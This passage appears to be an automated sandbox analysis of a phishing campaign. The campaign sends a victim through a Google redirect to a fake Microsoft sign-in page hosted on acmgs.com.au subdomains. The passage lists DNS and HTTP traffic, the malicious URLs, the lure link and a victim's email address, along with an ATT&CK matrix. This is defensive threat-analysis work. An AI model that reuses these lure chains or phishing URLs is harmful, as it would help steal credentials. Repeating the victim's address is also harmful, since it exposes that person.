brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: google.com.mx
Source: global traffic	DNS traffic detected: DNS query: www.google.com.mx
Source: global traffic	DNS traffic detected: DNS query: braverygray.com
Source: global traffic	DNS traffic detected: DNS query: img.icons8.com
Source: global traffic	DNS traffic detected: DNS query: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au
Source: global traffic	DNS traffic detected: DNS query: 881a0950-e455dbd6.acmgs.com.au
Source: global traffic	DNS traffic detected: DNS query: 85089a4f-e455dbd6.acmgs.com.au
Source: global traffic	DNS traffic detected: DNS query: 2394395c-e455dbd6.acmgs.com.au
Source: global traffic	DNS traffic detected: DNS query: l1ve.acmgs.com.au
Source: global traffic	DNS traffic detected: DNS query: dab02a46-e455dbd6.acmgs.com.au
Source: global traffic	DNS traffic detected: DNS query: 754c237a-e455dbd6.acmgs.com.au

Source: unknown

HTTP traffic detected: POST /?777=mwebb%40windsorhomestx.com HTTP/1.1Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.auConnection: keep-aliveContent-Length: 5303Cache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.auContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.comAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 20 Dec 2024 19:30:59 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 20 Dec 2024 19:31:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 39ab6885-6b5f-45dc-b4f7-9ebeb83af400x-ms-ests-server: 2.1.19683.3 - SEC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://85089a4f-e455dbd6.acmgs.com.au/api/report?catId=GW+estsfd+SEC"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 20 Dec 2024 19:31:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 93536d39-0618-46f2-a07a-6da399bc1501x-ms-ests-server: 2.1.19683.3 - FRC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://85089a4f-e455dbd6.acmgs.com.au/api/report?catId=GW+estsfd+SEC"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 20 Dec 2024 19:31:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 1b8e4abe-8426-482e-9a63-e1fa19b23700x-ms-ests-server: 2.1.19683.6 - FRC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://85089a4f-e455dbd6.acmgs.com.au/api/report?catId=GW+estsfd+SEC"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 20 Dec 2024 19:31:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 3f11e5d2-edaa-4f56-b71b-296046841a01x-ms-ests-server: 2.1.19683.3 - SEC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://85089a4f-e455dbd6.acmgs.com.au/api/report?catId=GW+estsfd+SEC"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 20 Dec 2024 19:31:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 733a3a80-2be4-42ef-8010-961eca882e03x-ms-ests-server: 2.1.19683.3 - SEC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://85089a4f-e455dbd6.acmgs.com.au/api/report?catId=GW+estsfd+SEC"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 20 Dec 2024 19:31:43 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: no-store, no-cachex-ms-correlation-id: fd632a89-dee0-4601-b247-25e5c6fdcdd0x-ua-compatible: IE=Edgex-cache: CONFIG_NOCACHEx-msedge-ref: Ref A: B8C99E4E529D4016B9A97FCD9553A729 Ref B: AMS231032601045 Ref C: 2024-12-20T19:31:42Zaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 20 Dec 2024 19:31:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 536cb2fa-d4df-461a-8104-e39de1414103x-ms-ests-server: 2.1.19683.3 - WEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://85089a4f-e455dbd6.acmgs.com.au/api/report?catId=GW+estsfd+SEC"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 20 Dec 2024 19:31:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 661b7100-dd9c-40e9-a76e-c3263e66ef02x-ms-ests-server: 2.1.19683.3 - WEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://85089a4f-e455dbd6.acmgs.com.au/api/report?catId=GW+estsfd+SEC"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 20 Dec 2024 19:32:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: b0ee43bd-e85e-4cc6-b375-fd075d36c802x-ms-ests-server: 2.1.19683.3 - SEC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://85089a4f-e455dbd6.acmgs.com.au/api/report?catId=GW+estsfd+SEC"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 20 Dec 2024 19:32:03 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: no-store, no-cachex-ms-correlation-id: 48cb4fa0-3273-408c-a6e5-f9296c2e381fx-ua-compatible: IE=Edgex-cache: CONFIG_NOCACHEx-msedge-ref: Ref A: 47CC2B815773461ABD94E31F72FDDDE3 Ref B: AMS231032603045 Ref C: 2024-12-20T19:32:03Zaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 20 Dec 2024 19:32:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: b1a9b518-c1aa-497f-a10e-06cdbdc2c700x-ms-ests-server: 2.1.19683.3 - NCUS ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://85089a4f-e455dbd6.acmgs.com.au/api/report?catId=GW+estsfd+SEC"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:

Source: chromecache_90.2.dr

String found in binary or memory: https://img.icons8.com/emoji/48/check-mark-emoji.png

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: classification engine

Classification label: mal76.phis.win@18/52@28/8

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1904,i,18366170521209709358,2107059869103542779,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://google.com.mx//url?ob=pkmcekw7bljbM2dWBuuV7ic1KFgH&aw=f_rand_string_lowercase(8)n9QXkBk0w4OyBDvUpuk&sa=t&whi=f_rand_string_lowercase(8)zOPGXNRztppHiTbPIt5f&url=amp%2Fbraverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1904,i,18366170521209709358,2107059869103542779,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Name	IP	Active	Malicious	Reputation
1004834818.rsc.cdn77.org	169.150.255.183	true	false	high
l1ve.acmgs.com.au	159.89.96.140	true	true	unknown
754c237a-e455dbd6.acmgs.com.au	159.89.96.140	true	true	unknown
www.google.com.mx	142.250.181.131	true	false	high
881a0950-e455dbd6.acmgs.com.au	159.89.96.140	true	true	unknown
www.google.com	142.250.181.132	true	false	high
85089a4f-e455dbd6.acmgs.com.au	159.89.96.140	true	true	unknown
google.com.mx	216.58.208.227	true	false	high
braverygray.com	162.241.114.35	true	false	unknown
0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au	159.89.96.140	true	true	unknown
2394395c-e455dbd6.acmgs.com.au	159.89.96.140	true	true	unknown
dab02a46-e455dbd6.acmgs.com.au	159.89.96.140	true	true	unknown
img.icons8.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://881a0950-e455dbd6.acmgs.com.au/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js	true	unknown
https://img.icons8.com/emoji/48/check-mark-emoji.png	false	high
https://881a0950-e455dbd6.acmgs.com.au/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif	true	unknown
https://881a0950-e455dbd6.acmgs.com.au/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	true	unknown
https://braverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t	false	unknown
https://881a0950-e455dbd6.acmgs.com.au/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg	true	unknown
https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true	true	unknown
https://braverygray.com/favicon.ico	false	unknown
https://881a0950-e455dbd6.acmgs.com.au/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js	true	unknown
https://881a0950-e455dbd6.acmgs.com.au/shared/1.0/content/js/asyncchunk/convergedlogin_ppassword_b6632c4da67c72da7b92.js	true	unknown
https://754c237a-e455dbd6.acmgs.com.au/OneCollector/1.0/?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.6&apikey=b0c252808e614e949086e019ae1cb300-e0c02060-e3b3-4965-bd7c-415e1a7a9fde-6951&upload-time=1734723120041&time-delta-to-apply-millis=use-collector-delta&w=0&NoResponseBody=true	true	unknown
https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/favicon.ico	true	unknown
https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/common/login	false	unknown
https://l1ve.acmgs.com.au/Me.htm?v=3	true	unknown
https://881a0950-e455dbd6.acmgs.com.au/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	true	unknown
https://85089a4f-e455dbd6.acmgs.com.au/api/report?catId=GW+estsfd+SEC	true	unknown
https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com	false	unknown
https://881a0950-e455dbd6.acmgs.com.au/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js	true	unknown
https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/e455dbd6308045dea743f49e92cf3388/	true	unknown
https://881a0950-e455dbd6.acmgs.com.au/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_27cef08ca792f8e8b149.js	true	unknown
https://881a0950-e455dbd6.acmgs.com.au/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif	true	unknown
https://www.google.com.mx/url?ob=pkmcekw7bljbM2dWBuuV7ic1KFgH&aw=f_rand_string_lowercase(8)n9QXkBk0w4OyBDvUpuk&sa=t&whi=f_rand_string_lowercase(8)zOPGXNRztppHiTbPIt5f&url=amp%2Fbraverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t	false	high
